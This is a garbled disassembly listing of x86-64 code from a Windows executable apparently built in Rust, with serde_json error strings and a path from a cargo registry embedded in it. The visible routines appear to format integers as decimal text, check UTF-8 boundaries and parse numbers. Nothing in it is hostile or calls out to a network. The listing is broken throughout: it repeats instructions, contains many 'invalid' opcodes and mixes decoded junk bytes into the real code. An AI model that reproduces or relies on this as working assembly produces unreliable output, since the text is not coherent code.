xacquire xchg byte [rbx], ah
add byte [rax + 0x39], cl
retf
add byte [rax], al
mov eax, 0x10
movabs rcx, 0x38d7ea4c67fff
cmp rbx, rcx
ja 0x140073576
mov eax, 0xf
movabs rcx, 0x5af3107a3fff
cmp rbx, rcx
ja 0x140073576
mov rcx, rbx
shr rcx, 0xd
mov eax, 0xe
cmp rcx, 0x48c27394
ret 0xf48
xchg eax, eax
add byte [rax], al
invalid
ret 0xf48
mov rcx, rbx
shr rcx, 0xc
mov eax, 0xd
or eax, 0x48000000
cmp ecx, 0xe8d4a50
lea ecx, [rsi]
or eax, 0x48000000
cmp ecx, 0xe8d4a50
lea ecx, [rsi]
lea ecx, [rsi]
ja 0x140073576
mov rcx, rbx
shr rcx, 0xb
mov eax, 0xc
cmp rcx, 0x2e90edc
ja 0x140073576
mov es, word [rax]
add byte [rax], al
mov es, word [rax]
add byte [rax], al
mov rcx, rbx
shr rcx, 0xa
jmp 0x14012ecfc
add byte [rax], al
jmp 0x14012ecfc
add byte [rax], al
add byte [rax - 0x7f], cl
invalid
invalid
cmp rcx, 0x9502f8
ja 0x140073576
stc
clc
add dl, byte [rbp - 0x47868900]
mov eax, 0xa
mov eax, 0xa
add byte [rax], al
add byte [rax - 0x7f], cl
sti
dec ecx
leave
cmp rbx, 0x3b9ac9ff
ja 0x140073576
leave
invalid
cmp esi, dword [rdi + 0x6b]
mov eax, 9
cmp rbx, 0x5f5e0ff
cmp ebx, 0x5f5e0ff
add byte [rax], al
add byte [rax - 0x7f], cl
sti
jmp rax
cmp ebx, 0x5f5e0ff
ja 0x140073576
pop rbp
mov eax, 8
or byte [rax], al
add byte [rax], al
cmp rbx, 0x98967f
ja 0x140073576
jg 0x1400734b9
cwde
add byte [rdi + 0x4f], dh
mov eax, 7
add byte [rax], al
cmp rbx, 0xf423f
ja 0x140073576
mov eax, 6
cmp rbx, 0x1869f
sti
lahf
xchg byte [rcx], al
add byte [rdi + 0x33], dh
sti
lahf
xchg byte [rcx], al
add byte [rdi + 0x33], dh
mov eax, 5
cmp rbx, 0x270f
add byte [rax], al
add byte [rax], al
add byte [rax - 0x7f], cl
sti
invalid
add byte [rax], al
add byte [rdi + 0x25], dh
ja 0x140073576
mov eax, 4
cmp rbx, 0x3e7
ja 0x140073576
mov eax, 3
cmp rbx, 0x63
ja 0x140073576
invalid
or al, 0x48
cmp ebx, 0xa
cmp rbx, 0xa
mov eax, 1
sbb eax, 0xffffffff
mov r15d, eax
movsxd r12, ebp
lea r14, [r15 + r12]
invalid
test r12d, r12d
mov r13, qword [rsp + 0x40]
js 0x1400735c8
invalid
cmp r14, 0x11
jge 0x1400735c8
invalid
cmp byte [rbp + 1], cl
out dx, eax
add r15, r13
add edi, ebp
add r15, rdi
mov rcx, rbx
mov rdx, r15
call fcn.1400737f0
test ebp, ebp
je case.0x140051052.313
mov rcx, r15
mov dl, 0x30
mov r8, r12
mov eax, esp
mov eax, esp
call sub.VCRUNTIME140.dll_memset
lea rax, [r14 + r13]
mov word [rdi + rax], 0x302e
xor byte [rbp + 1], cl
cmc
xor byte [rbp + 1], cl
cmc
add r13, 2
jmp 0x1400737d3
invalid
add byte [rcx - 0x73], cl
jbe 0x1400735cb
lea rsi, [r14 - 1]
dec dword [rax - 0x7d]
invalid
cmp rsi, 0x10
jae 0x140073605
lea rsi, [r15 + r13]
inc rsi
lea rdx, [rdi + rsi]
mov rcx, rbx
fld1
or eax, dword [rdx]
add byte [rax], al
lea rdx, [rdi + r13]
invalid
inc rdx
lea rcx, [rdi + r13]
mov r8, r14
mov eax, esi
invalid
invalid
mov eax, esi
call sub.VCRUNTIME140.dll_memmove
add r14, r13
out dx, al
add byte [rbp + 1], cl
out dx, al
mov byte [rdi + r14], 0x2e
jmp 0x1400737d0
add byte [rax], al
add byte [rax], al
lea rax, [r14 + 4]
cmp rax, 5
invalid
add eax, 0x42664e73
mov dword [rdi + rbp], 0x2be2e30
mov esi, 2
sub rsi, r14
jae 0x14007365d
mov word [rdi + r13], 0x2e30
mov word [rdi + r13], 0x2e30
invalid
mov esi, 2
mov esi, 2
add byte [rax], al
sub rsi, r14
test r14, r14
jns case.0x14004b1de.291
lea rcx, [rdi + r13]
add rcx, 2
cmp rsi, 4
mov r8d, 3
mov eax, 3
mov eax, 3
cmovge r8, rsi
add r8, 0xfffffffffffffffe
mov dl, 0x30
call sub.VCRUNTIME140.dll_memset
add eax, dword [rax]
add eax, dword [rax]
add byte [rbp + 1], cl
std
add r13, r15
add r13, rsi
add rdi, r13
mov rcx, rbx
mov rdx, rdi
call fcn.1400737f0
add byte [rax], al
add byte [rax], al
jmp 0x1400737d3
jbe 0x14007365c
add byte [rax], al
add byte [rcx - 0x7d], al
cmp r15d, 1
inc dword [rcx]
jne 0x140073682
add bl, 0x30
mov byte [rdi + r13], bl
sbb al, 0x2f
xor byte [rdx - 0x78], al
sbb al, 0x2f
mov byte [rdi + r13 + 1], 0x65
lea rax, [rdi + r13]
lea eax, [rdi + rbp]
lea eax, [rdi + rbp]
add rax, 2
test r14, r14
idiv byte [rsi + 0x4a]
idiv byte [rsi + 0x4a]
mov rcx, rsi
jmp case.0x14004e56b.258
push rbx
mov r12, rdi
mov esp, edi
lea rdi, [r15 + r13]
lea rdx, [r12 + rdi]
cmp al, 0x48
inc edx
invalid
cmp al, 0x48
inc edx
invalid
ret 0x8948
mov rcx, rbx
call fcn.1400737f0
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rbx + 0xf], al
mov dh, 0x44
sub al, 1
add byte [rax], al
movzx eax, byte [r12 + r13 + 1]
mov byte [r12 + r13], al
mov byte [r12 + r13 + 1], 0x2e
mov byte [r12 + rdi + 1], 0x65
lea rax, [r12 + rdi]
cmp al, 1
lea rax, gs:[r12 + rdi]
add rax, 2
test r14, r14
jle case.0x1400503f2.251
mov rdx, rsi
jmp 0x14007374d
mov byte [rax], 0x2d
inc rax
sar byte [rcx + 1], 0x4c
sub ecx, esi
sar byte [rcx + 1], 0x4c
sub ecx, esi
or r13, 2
cmp rcx, 0x63
jbe 0x140073717
invalid
cmp byte [rcx - 0x2d96b736], cl
invalid
mov edx, ecx
imul rdx, rdx, 0x51eb851f
imul edx, edx, 0x51eb851f
imul edx, edx, 0x51eb851f
push rcx
shr rdx, 0x25
lea r8d, [rdx + 0x30]
mov byte [rax], r8b
mov byte [rax], al
imul edx, edx, 0x64
sub ecx, edx
lea rdx, str.000102030405060708091011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798990
lea edx, str.000102030405060708091011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798990
lea edx, str.000102030405060708091011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798990
adc eax, 0x731a1
add byte [rdi], cl
mov bh, 0xc
movzx ecx, word [rdx + rcx*2]
mov word [rax + 1], cx
mov word [rax + 1], cx
shr rsi, 0x3f
add rsi, 3
add esi, 3
add r13, rsi
jmp 0x1400737d3
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x7d], cl
cmp ecx, 9
jbe 0x1400737b0
lea rdx, str.000102030405060708091011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798990
add byte [rax], al
cmp rcx, 9
cmp ecx, 9
jbe 0x1400737b0
pop qword [rax]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
lea rdx, str.000102030405060708091011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798990
lea rdx, str.000102030405060708091011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798990
invalid
add byte [rdi], cl
mov bh, 0xc
or al, 0x4a
mov word [rax], cx
movzx ecx, word [rdx + rcx*2]
or al, 0x4a
mov word [rax], cx
shr rsi, 0x3f
shr esi, 0x3f
or rsi, 2
or esi, 2
add r13, rsi
cmc
jmp 0x1400737d3
add byte [rax], al
add dh, al
mov byte [rax], 0x2d
inc rax
invalid
add byte [rax], al
mov byte [rax], 0x2d
inc rax
mov edx, 1
add dword [rax], eax
add byte [rax], al
sub rdx, r14
lea rcx, [r15 + r13]
lea ecx, [rdi + rbp]
or al, 0x2f
add rcx, 2
cmp rdx, 0x63
cli
invalid
jbe 0x140073791
invalid
cli
invalid
mov r8d, edx
imul r8, r8, 0x51eb851f
rcr byte [rdi], 0x85
jmp 0x1400737b6
shr r8, 0x25
invalid
invalid
rcr byte [rdi], 0x85
jmp 0x1400737b6
invalid
call 0x188947c91
xor byte [rax + rcx*4 + 8], al
lea r9d, [r8 + 0x30]
lea ecx, [rax + 0x30]
mov byte [rax], r9b
imul r8d, r8d, 0x64
sub edx, r8d
shl byte [rsp + rax*2 + 0x29], 0xc2
sub edx, r8d
lea r8, str.000102030405060708091011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798990
movzx edx, word [r8 + rdx*2]
invalid
mov word [rax + 1], dx
shr rsi, 0x3f
add rsi, 3
jmp 0x1400737cd
push rax
add dword [rax - 0x3f], ecx
out dx, al
invalid
add ebp, ebx
cmp al, 0x48
cmp edx, 9
cmp rdx, 9
jbe 0x1400737c1
lea r8, str.000102030405060708091011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798990
movzx edx, word [r8 + rdx*2]
mov word [rax], dx
shr rsi, 0x3f
or rsi, 2
jmp 0x1400737cd
add cl, 0x30
mov byte [rax], cl
shr rsi, 0x3f
shr esi, 0x3f
inc rsi
add r13, rsi
jmp 0x1400737d3
add dl, 0x30
mov byte [rax], dl
shr rsi, 0x3f
inc rsi
add rsi, rcx
invalid
mov r13, rsi
mov rax, r13
add rsp, 0x48
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov dword [rsp + 0x38], ecx
mov r8, qword [rcx + 0x10]
mov qword [rsp + 0x20], 9
lea r9, [0x1400e75c6]
lea rcx, [rsp + 0x50]
and al, 0x50
and al, 0x50
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x40], r8
mov dword [rsp + 0x40], eax
mov dword [rsp + 0x40], eax
call fcn.1400453b0
cmp qword [rsp + 0x50], 0
je 0x140073d9a
mov r8, qword [rsp + 0x80]
mov rdx, qword [rsp + 0xa0]
mov rax, qword [rsp + 0xb0]
mov r14, r8
sub r14, rax
cmp r14, rdx
jae 0x140073da1
sub eax, dword [rcx]
add byte [rax], al
add byte [rax - 0x75], cl
xchg esp, eax
and al, 0xa0
add byte [rax], al
add byte [rax - 0x75], cl
test byte [rax + rsi*4], ah
add byte [rax], al
add byte [rbp - 0x77], cl
invalid
sub eax, dword [rcx]
add byte [rax], al
mov r13, qword [rsp + 0x98]
cmp qword [rsp + 0x88], 0xffffffffffffffff
mov r15, qword [rsp + 0xa8]
add byte [rbx + rcx*4 + 0x64], cl
and al, 0x70
add byte [rbx + rcx*4 + 0x64], cl
and al, 0x70
mov rcx, qword [rsp + 0x60]
mov r9, qword [rsp + 0x68]
mov qword [rsp + 0x48], r9
je 0x140073deb
mov rbx, qword [rsp + 0x90]
mov ebx, dword [rsp + 0x90]
mov rbp, rax
neg rbp
mov r11, r13
sub r11, rax
movzx r9d, byte [r13 + r14]
bt r12, r9
int3
jb 0x140073cf1
int3
nop dword [rax]
lea r9, [r14 + rbp]
cmp r9, rdx
jae 0x140073da1
mov r8, r14
sub r14, rax
mov byte [rdi + 0xf], 0xb6
or al, 3
mov byte [rdi + 0xf], 0xb6
or al, 3
bt r12, r9
jae 0x140073cd0
mov rbx, rax
cmp rcx, rbx
mov r9, rbx
cmovb r9, rcx
dec r9
lea rdi, [r14 + r13]
nop word cs:[rax + rax]
cmp r9, 0xffffffffffffffff
je 0x140073d49
mov r10, r9
cmp r9, rax
cmp ecx, eax
cmp ecx, eax
jae 0x1400742cb
lea r9, [r14 + r10]
cmp r9, rdx
jae 0x1400742ba
movzx esi, byte [r15 + r10]
lea r9, [r10 - 1]
inc qword [rdx + 0x3a]
xor al, 0x17
inc qword [rdx + 0x3a]
xor al, 0x17
je 0x140073d10
sub r8, rcx
add r8, r10
mov rbx, rax
jmp 0x140073d89
mov r9, rcx
nop dword [rax]
cmp r9, rbx
jae 0x140073ebd
invalid
cmp r9, rax
jae case.0x140046b1e.409
lea r10, [r14 + r9]
cmp r10, rdx
jae 0x1400742df
invalid
add byte [rdi + 0xf], al
mov dh, 0x14
cmovns ecx, dword [rbp + 0x3a460171]
adc al, 0xf
movzx r10d, byte [r15 + r9]
lea rsi, [r9 + 1]
cmp r10b, byte [rdi + r9]
mov r9, rsi
je 0x140073d50
mov rbx, qword [rsp + 0x48]
sub r8, rbx
mov r14, r8
mov esi, eax
sub r14, rax
cmp r14, rdx
jb 0x140073cbd
jmp 0x140073da1
cmp byte [rsp + 0x6a], 0
je 0x140073dae
mov bpl, 1
mov r13, qword [rsp + 0x40]
insb byte [rdi], dx
and al, 0x40
insb byte [rdi], dx
and al, 0x40
jmp 0x140074343
movzx r8d, byte [rsp + 0x69]
mov r9, qword [rsp + 0x60]
test r9, r9
je 0x140073ec7
mov rcx, qword [rsp + 0x98]
mov rdx, qword [rsp + 0xa0]
cmp r9, rdx
jae case.0x14002739f.569
cmp byte [rcx + r9], 0xc0
or eax, eax
jge 0x140073ee0
jmp case.0x140032218.481
lea r10, [rcx - 1]
mov r11, rax
neg r11
mov rbp, r13
sub rbp, rax
invalid
invalid
movzx r9d, byte [r13 + r14]
bt r12, r9
jb 0x140073e2b
nop word [rax + rax]
lea r9, [r11 + r14]
cmp r9, rdx
sal dword [rbx - 0x78], 1
xor ecx, dword [rcx + 0x39]
sal dword [rbx - 0x78], 1
mov r8, r14
sub r14, rax
movzx r9d, byte [rbp + r8]
bt r12, r9
jae 0x140073e10
cmp r10, rax
jae 0x140073e67
ret 0x3773
mov rdi, rcx
nop word cs:[rax + rax]
nop word cs:[rax + rax]
iretd
nop word cs:[rax + rax]
sub rdi, 1
jb 0x140073e70
lea r9, [rdi + r14]
cmp r9, rdx
jae 0x1400742ba
and dword [rdi + 4], 0
invalid
and dword [rdi + 4], 0
add byte [rcx + 0xf], al
mov dh, 0x1c
invalid
movzx ebx, byte [r15 + rdi]
cmp bl, byte [r13 + r9]
je 0x140073e40
sub r8, rcx
add r8, rdi
add eax, edi
add eax, edi
jmp 0x140073ea9
test rcx, rcx
jne 0x1400742cb
add byte [rax], al
lea r9, [r14 + r13]
mov rdi, rcx
nop word [rax + rax]
add byte [rax], al
invalid
add byte [rax], al
add byte [rax + 0x39], cl
invalid
cmp rdi, rax
jae 0x140073ebd
lea rbx, [r14 + rdi]
lea ebx, [rsi + rdi]
cmp rbx, rdx
cmp ebx, edx
jae 0x1400742df
movzx ebx, byte [r15 + rdi]
lea rsi, [rdi + 1]
cmp bl, byte [r9 + rdi]
mov rdi, rsi
je 0x140073e80
sub r8, qword [rsp + 0x48]
and al, 0x48
mov r14, r8
sub r14, rax
cmp r14, rdx
jb 0x140073dfb
jmp 0x140073da1
mov r13, qword [rsp + 0x40]
mov ebp, dword [rsp + 0x40]
jmp case.0x14002739f.573
test r8b, r8b
je 0x140073da1
xor r14d, r14d
mov r13, qword [rsp + 0x40]
jmp case.0x14002739f.573
jne case.0x140032218.481
add byte [rax], al
movzx eax, byte [rcx + r9 - 1]
movzx eax, al
test al, al
mov r13, qword [rsp + 0x40]
jns 0x140073f3e
movzx r10d, byte [rcx + r9 - 2]
or esi, edi
cmp r10b, 0xbf
jg 0x140073f1f
cli
mov edi, 0xf46217f
mov dh, 0x5c
or ebp, edi
movzx r11d, byte [rcx + r9 - 3]
cmp r11b, 0xbf
jg 0x140073f25
movzx edi, byte [rcx + r9 - 4]
and edi, 7
invalid
shl edi, 6
invalid
and r11d, 0x3f
or r11d, edi
jmp 0x140073f29
and r10d, 0x1f
jmp 0x140073f34
and r11d, 0xf
shl r11d, 6
and r10d, 0x3f
and edx, 0x3f
and edx, 0x3f
or r10d, r11d
or edx, ebx
shl r10d, 6
and eax, 0x3f
or eax, r10d
test r8b, r8b
je case.0x14002f576.495
mov r14, r9
lea r8, [r14 + 9]
mov rcx, r8
sub rcx, r13
mov rdx, 0xfffffffffffffff7
sub rdx, r14
mov rax, qword [rsp + 0x30]
lea r10, [rax + r14]
xor byte [rcx - 0x7d], cl
ret 0x4509
or dword [rbp + 0x31], eax
leave
xor byte [rcx - 0x7d], cl
ret 0x4509
invalid
invalid
or dword [rbp + 0x31], eax
leave
mov r11, r8
mov rax, r8
mov rdi, r13
add rax, r9
je 0x140073fc0
nop dword [rax]
cmp rax, r13
jae 0x140073fa0
call 0xc04a5afa
cmp al, 0xa
mov edi, 0x4c28e0f
add byte [rax], al
cmp byte [r10 + r9], 0xbf
cmp byte [rdx + rcx], 0xbf
jle case.0x1400503f2.267
mov rdi, r13
sub rdi, r11
jmp 0x140073fc0
add byte [rax], al
mov rsi, rcx
add rsi, r9
jne case.0x1400503f2.267
invalid
lea rdi, [rdx + r13]
test rdi, rdi
jne 0x140073fc5
sub cl, byte [rax - 0x7b]
push qword [rbp + 0x10]
jmp 0x140073fe8
test byte [rax], al
add byte [rax], al
add byte [rax], al
test rdi, rdi
je 0x140073fe8
movzx ebx, byte [r10 + r9]
add bl, 0xd0
cmp bl, 0xa
jae 0x140073fe8
or al, byte [rax - 0x47f2f3d]
or dh, byte [rbx + 0x16]
inc r11
inc r9
inc ecx
inc ecx
dec rdx
mov rax, r8
mov rdi, r13
add rax, r9
jne 0x140073f80
retf 0x894c
jmp 0x140073fc0
lea r10, [r8 + r9]
mov rcx, qword [rsp + 0x30]
and al, 0x30
or byte [rax - 0x75], cl
and al, 0x30
add rcx, r10
add ecx, edx
mov rdx, r13
test rax, rax
je 0x14007402c
invalid
mov rdx, r13
sub rdx, r10
jbe case.0x14002739f.581
cmp byte [rcx], 0xbf
jg 0x14007402c
cmp dword [rdi - 0x72b7dc81], edi
add eax, 0x736d8
invalid
invalid
lea rax, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_serde_json_1.0.108_srcerror.rsEOF_while_parsing_a_listEOF_while_parsing_an_objectEOF_while_parsing_a_stringEOF_while_parsing_a_valueexpected__:_expected_____or____expected_____or___expected_identexpected_valueexpected____invalid_escapeinvalid_numbernumber_out_of_rangeinvalid_unicode_code_pointcontrol_character__u0000_u001F__found_while_parsing_a_stringkey_must_be_a_stringinvalid_value:_expected_key_to_be_a_number_in_quotesfloat_key_must_be_finite__got_NaN_or___inf_lone_leading_surrogate_in_hex_escapetrailing_commatrailing_charactersunexpected_end_of_hex_escaperecursion_limit_exceeded_at_line__column
lea eax, [0x1400e76e8]
invalid
mov qword [rsp + 0x20], rax
and al, 0x20
mov rcx, qword [rsp + 0x30]
mov rdx, r13
mov r8, r10
mov r9, r13
call fcn.1400aa670
add eax, dword [rax]
add eax, dword [rax]
ud2
jne 0x140074009
mov bpl, 1
cmp rdx, 8
jb 0x140074343
add dword [rax - 0x7d], ecx
cli
or byte [rdi], cl
invalid
movabs rdx, 0x206e6d756c6f6320
cmp qword [rcx], rdx
and byte [rax + 0x39], cl
adc dword [rdi], ecx
jne 0x140074343
mov rdx, r13
jne 0x140074343
add byte [rax], al
mov rdx, r13
sub rdx, r9
add rdx, 0xffffffffffffffef
mov r11, qword [rsp + 0x30]
lea rbx, [r9 + r11]
sbb dword [rax - 0x7d], ecx
ret
adc dword [rcx - 0x7d], ecx
rcl dword [rcx], 0x4d
adc dword [rbp - 0x73], ecx
pop rdx
invalid
sbb dword [rax - 0x7d], ecx
ret
adc dword [rcx - 0x7d], ecx
rcl dword [rcx], 0x4d
adc dword [rbp - 0x73], ecx
pop rdx
invalid
adc dword [rbp - 0x73], ecx
pop rdx
or byte [rbp - 0x77], cl
test dword [rcx - 9], 0xdd894ddf
mov r15, r14
neg r15
mov r13, r11
mov r12, r14
mov rdi, qword [rsp + 0x40]
and al, 0x40
and al, 0x40
add r12, r9
je 0x1400740bd
int3
nop word cs:[rax + rax]
nop word cs:[rax + rax]
cmp r12, qword [rsp + 0x40]
jae 0x1400740b0
invalid
sbb dword [rdx - 0x80], eax
cmp al, 0x33
xor edi, dword [rdi + 0x3e48e0f]
cmp byte [rbx + r14], 0xbf
jle case.0x140051168.262
in al, 3
add byte [rax], al
xor edi, dword [rdi + 0x3e48e0f]
in al, 3
add byte [rax], al
mov rdi, qword [rsp + 0x40]
sub rdi, r13
jmp 0x1400740bd
cmp r14, rdx
jne case.0x140051168.262
add eax, dword [rax]
invalid
invalid
add eax, dword [rax]
add byte [rcx - 0x73], cl
cmp al, 0x17
lea rdi, [r15 + rdx]
test rdi, rdi
je 0x1400740ec
movzx esi, byte [rbx + r14]
add sil, 0xd0
cmp sil, 0xa
or dh, byte [rbx + 0x1b]
or dh, byte [rbx + 0x1b]
inc r13
inc ebp
inc r9
dec rdx
inc rbx
mov r12, r14
mov rdi, qword [rsp + 0x40]
add r12, r9
jne 0x140074090
jmp 0x1400740bd
add r9, r14
int1
mov r13, qword [rsp + 0x40]
cmp r9, r13
jb 0x140074343
cmp r10, r8
jb 0x1400741a1
test r8, r8
je case.0x14002f576.499
invalid
add dword [rax], 0
invalid
test byte [rbx + 0x4d000000], al
cmp eax, ebp
cmp r8, r13
jae 0x140074190
mov rdx, qword [rsp + 0x30]
and al, 0x30
cmp byte [rdx + r8], 0xc0
jge case.0x14002f576.499
jmp 0x1400741a1
cmp eax, 0x110000
add byte [rdi], cl
test byte [rsp + rdi*8 - 1], dh
dec dword [rcx - 0x39]
invalid
je 0x140073da1
mov r14, 0xffffffffffffffff
cmp eax, 0x80
jb 0x140074159
invalid
invalid
invalid
mov r14, 0xfffffffffffffffe
invalid
invalid
cmp eax, 0x800
jb 0x140074159
xor r14d, r14d
xor esi, esi
cmp eax, 0x10000
setb r14b
or r14, 0xfffffffffffffffc
or esi, 0xfffffffc
or esi, 0xfffffffc
add r14, r9
add esi, ecx
mov r13, qword [rsp + 0x40]
insb byte [rdi], dx
and al, 0x40
je 0x1400741eb
add byte [rcx + 0x39], cl
invalid
cmp r14, rdx
jae 0x1400741f3
cmp byte [rcx + r14], 0xbf
jg 0x1400741f5
invalid
cmp al, 0x31
mov edi, 0x894d7e7f
jle 0x1400741c5
mov ecx, esi
jle 0x1400741c5
mov r9, r14
mov ecx, esi
lea rax, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_strpattern.rs
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x20], eax
mov dword [rsp + 0x20], eax
xor r8d, r8d
call fcn.1400aa670
ud2
jne 0x1400741a1
test rax, rax
je 0x1400741c1
invalid
sub cl, byte [rbp + 0x39]
invalid
cmp r13, r10
jbe 0x1400741bf
cmp byte [rcx], 0xbf
jg 0x1400741c1
mov edi, 0x8d48207f
add eax, 0x73570
lea rax, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_serde_json_1.0.108_srcerror.rsEOF_while_parsing_a_listEOF_while_parsing_an_objectEOF_while_parsing_a_stringEOF_while_parsing_a_valueexpected__:_expected_____or____expected_____or___expected_identexpected_valueexpected____invalid_escapeinvalid_numbernumber_out_of_rangeinvalid_unicode_code_pointcontrol_character__u0000_u001F__found_while_parsing_a_stringkey_must_be_a_stringinvalid_value:_expected_key_to_be_a_number_in_quotesfloat_key_must_be_finite__got_NaN_or___inf_lone_leading_surrogate_in_hex_escapetrailing_commatrailing_charactersunexpected_end_of_hex_escaperecursion_limit_exceeded_at_line__column
mov qword [rsp + 0x20], rax
and al, 0x20
mov rcx, qword [rsp + 0x30]
mov ecx, dword [rsp + 0x30]
mov rdx, r13
mov r9, r10
call fcn.1400aa670
add eax, dword fs:[rax]
add eax, dword fs:[rax]
ud2
jne 0x1400741a1
sub r10, r8
je 0x140074343
jns 0x1400741c9
add byte [rax], al
test byte [rcx + 1], bh
jns 0x1400741c9
add byte [rax], al
add byte [rbx + rax + 0x44], cl
and al, 0x30
invalid
add r8, qword [rsp + 0x30]
xor byte [rcx + 0xf], al
mov dh, 0
movzx eax, byte [r8]
cmp eax, 0x2d
je 0x14007420c
cmp eax, 0x2b
jne 0x140074216
dec r10
je 0x140074343
pop rbp
add dword [rax], eax
invalid
pop rbp
add dword [rax], eax
add byte [rcx - 1], cl
inc r8
jmp 0x140074216
invalid
inc r8
jmp 0x140074216
invalid
sub eax, dword [rbp + 0x31]
imul cl
push rdi
std
invalid
xor r14d, r14d
jmp case.0x14002739f.573
invalid
push qword [rbp - 0x7e]
jne 0x140074177
cmp byte [rcx + r14 - 1], 0
jns case.0x14002739f.573
std
invalid
invalid
std
invalid
cmp byte [rcx + r14 - 2], 0xbf
cmp byte [rcx + rsi - 2], 0xbf
mov edi, 0xfffd3ee9
dec dword [rcx - 0x7d]
jmp case.0x14002739f.573
cmp r10, 1
je 0x140074343
cli
add dword [rdi], ecx
test byte [0x189074218], ch
cmp edx, 0x11
cmp r10, 0x11
jae case.0x14004b1de.303
pop rbx
xor eax, eax
xor r15d, r15d
movzx ecx, byte [r8 + rax]
movzx ecx, byte [rax + rax]
add ecx, 0xffffffd0
cmp ecx, 9
stc
or dword [rdi], ecx
xchg dword [rcx], edx
add dword [rax], eax
invalid
stc
or dword [rdi], ecx
xchg dword [rcx], edx
add dword [rax], eax
add byte [rbx - 0x73], cl
adc al, 0xbf
invalid
lea rdx, [r15 + r15*4]
mov edi, 0x8d4cc989
mov ecx, ecx
lea r15, [rcx + rdx*2]
cmp al, 0x51
inc rax
cmp r10, rax
ror byte [rcx + 0x39], 0xc2
jne 0x140074221
mov r8, r9
sub r8, r11
enter 0x294d, 0xffffffffffffffd8
jb 0x1400744b8
test r11, r11
je 0x140074318
fisttp dword [rdi]
test byte [rdi + 0x4d000000], bh
cmp r11, r13
cmp ebx, ebp
jae 0x140074312
mov rax, qword [rsp + 0x30]
cmp byte [rax + r11], 0xc0
jge 0x140074318
cmpsb byte [rsi], byte [rdi]
add byte [rax], al
invalid
cmpsb byte [rsi], byte [rdi]
add byte [rax], al
add cl, ch
invalid
add al, byte [r8]
jmp 0x1400744b8
add byte [rcx], dh
leave
xor ecx, ecx
mov edi, 0xa
xor r15d, r15d
cmp r10, rcx
je 0x140074244
movzx ebx, byte [r8 + rcx]
mov rax, r15
or byte [rcx + rcx*4 - 8], cl
mul rdi
seto dl
add ebx, 0xffffffd0
cmp ebx, 9
nop
ret 0xc383
ja 0x140074343
test dl, dl
jne 0x140074343
add byte [rax], al
add byte [rax], al
mov r15, rax
mov eax, ebx
inc rcx
inc ecx
inc ecx
add r15, rax
jae 0x140074281
jmp 0x140074343
mov dword [rax], eax
add byte [rax], al
lea r8, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_strpattern.rs
mov rcx, r9
mov ecx, ecx
mov ecx, ecx
call fcn.1400a9fa0
ud2
invalid
add byte [rdi], cl
or ecx, dword [rbp + rcx*4 + 5]
jle 0x1400742f5
lea r8, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_strpattern.rs
invalid
mov rcx, r10
mov rdx, rax
call fcn.1400a9fa0
add byte [rdi], cl
invalid
add byte [rdi], cl
or ecx, dword [rcx + 1]
invalid
add r14, rcx
cmp rdx, r14
cmova r14, rdx
cmova esi, edx
cmova esi, edx
lea r8, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_strpattern.rs
mov rcx, r14
call fcn.1400a9fa0
invalid
pop rsp
add eax, dword [rax]
ud2
cmp rcx, rax
cmovbe rcx, rax
enter 0xffffffffffff8d4c, 5
invalid
invalid
invalid
invalid
enter 0xffffffffffff8d4c, 5
sbb byte [0xc94f4311], ah
lea eax, [0x1400e6820]
mov rdx, rax
call fcn.1400a9fa0
ud2
ret 0x90e8
jne 0x1400744b8
add byte [rax], al
test r12, r12
test esp, esp
je case.0x140068b4c.406
or dword [rbp + 0x39], ecx
jmp 0x14199c833
xchg edx, eax
invalid
cmp r9, r13
cmp ecx, ebp
jne 0x1400744b8
xchg edx, eax
add dword [rax], eax
add byte [rbx + rax + 0x5c], cl
add r11, qword [rsp + 0x30]
add r11, qword [rsp + 0x30]
lea rcx, [rsp + 0x50]
lea ecx, [rsp + 0x50]
mov rdx, r11
call fcn.140046500
and ebp, edi
invalid
invalid
and ebp, edi
inc dword [rax + 0x50247c]
cmp byte [rsp + 0x50], 0
cmp byte [rsp + 0x50], 0
and al, 0x50
add byte [rdi], cl
je 0x140074414
test cl, dl
add byte [rax], al
add byte [rax - 0x75], cl
and al, 0x38
mov rcx, qword [rsp + 0x38]
cmp qword [rcx + 8], r13
mov rsi, qword [rsp + 0x30]
mov esi, dword [rsp + 0x30]
je 0x140074374
xor byte [rsi + 0x26], dh
or byte [rax - 0x75], cl
je 0x140074374
xor byte [rsi + 0x26], dh
mov rcx, qword [0x1400f91f8]
sahf
or byte [rax], r8b
xor edx, edx
mov r8, rsi
invalid
test r13, r13
je 0x1400743a7
invalid
mov ecx, ebp
call qword [sym.imp.kernel32.dll_HeapReAlloc]
mov rsi, rax
mov esi, eax
mov edi, 0x89480003
add byte [rax - 0x77], cl
mov esi, eax
invalid
test rax, rax
je 0x1400744a9
add dword [rax], eax
invalid
ror byte [rdi], 0x84
xor byte [rcx], al
add dword [rax], eax
invalid
test byte [rax], dh
add dword [rax], eax
add byte [rdi], cl
movzx eax, byte [0x1400f92c0]
mov dh, 5
or byte [r8], r8b
